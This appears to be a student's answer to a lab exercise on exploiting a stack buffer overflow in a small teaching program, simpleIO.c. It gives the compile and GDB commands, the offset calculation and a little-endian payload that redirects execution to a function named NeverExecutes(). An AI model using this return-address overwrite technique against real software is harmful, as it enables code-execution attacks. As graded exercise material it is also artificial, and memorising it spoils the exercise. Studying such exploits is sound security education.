answers
answers
Command:
gcc -ggdb -fno-stack-protector -o simpleIO simpleIO.c
gdb -q simpleIO
(gdb) print NeverExecutes
$1 = (void (*)()) 0x400616
printf "AAAAAAAAAAAAAAAA\x16\x06\x40\x00\x00\x00\x00\x00" | ./simpleIO
Explanation:
I compiled simpleIO.c using the command gcc -ggdb -fno-stack-protector -o
simpleIO simpleIO.c to disable the stack protector and include debug symbols.
This allows buffer overflow attacks to work without being blocked by modern
protections. I then ran the program inside GDB using gdb -q simpleIO, and set a
breakpoint to inspect memory. I found the address of NeverExecutes() using (gdb)
print NeverExecutes, which returned 0x400616. By constructing an input that
overflows the buffer and overwrites the return address with this function’s
address in little-endian format, I was able to redirect program execution to
NeverExecutes(). As a result, the program printed:
Hacked!!! This function was not supposed to run!
Steps:
1. Compiled the code with stack protection disabled:
gcc -ggdb -fno-stack-protector -o simpleIO simpleIO.c
2. Opened the binary in GDB with:
gdb -q simpleIO
3. Printed the address of NeverExecutes():
(gdb) print NeverExecutes
$1 = (void (*)()) 0x400616
4. Constructed the payload to overwrite the return address. In a typical 64-bit
Linux program, addresses must be written in little-endian format. So 0x400616
becomes \x16\x06\x40\x00\x00\x00\x00\x00.
5. Calculated overflow offset:
- buffer[8] = 8 bytes
- saved RBP = 8 bytes
- return address = 8 bytes
→ So we need 16 filler bytes ("AAAAAAAAAAAAAAAA") followed by the address in
little-endian format.
6. Full payload:
"AAAAAAAAAAAAAAAA\x16\x06\x40\x00\x00\x00\x00\x00"
7. Piped it into the program:
printf "AAAAAAAAAAAAAAAA\x16\x06\x40\x00\x00\x00\x00\x00" | ./simpleIO
8. This causes the return address of GetInput() to be replaced, and control
jumps to NeverExecutes(), successfully printing the hacked message.